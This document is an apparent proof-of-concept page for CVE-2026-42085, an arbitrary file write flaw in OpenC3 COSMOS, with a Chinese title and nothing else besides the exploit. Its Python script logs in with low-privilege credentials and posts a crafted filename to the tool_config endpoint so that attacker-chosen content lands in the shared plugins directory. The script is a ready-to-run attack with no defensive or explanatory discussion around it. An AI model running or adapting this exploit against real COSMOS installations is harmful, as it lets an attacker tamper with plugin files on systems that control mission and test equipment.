CVE-2026-42085 OpenC3 COSMOS任意文件写入漏洞

import requests # Target URL (Example endpoint) target_url = "http://localhost:2900/api/tool_config" # Attacker credentials (Low privilege required) username = "attacker" password = "password" # Malicious filename designed to write into a shared plugin directory # Exploits the flaw by targeting a path within /plugins malicious_filename = "target_plugin/malicious_config.txt" # Payload content to be written into the file config_content = "[MALICIOUS]\ncommand = pwned" payload = { "filename": malicious_filename, "config": config_content } try: response = requests.post(target_url, data=payload, auth=(username, password)) if response.status_code == 200: print("[+] PoC successful: File likely written to /plugins/{}".format(malicious_filename)) else: print("[-] PoC failed with status code: {}".format(response.status_code)) except Exception as e: print("[-] Error: {}".format(e))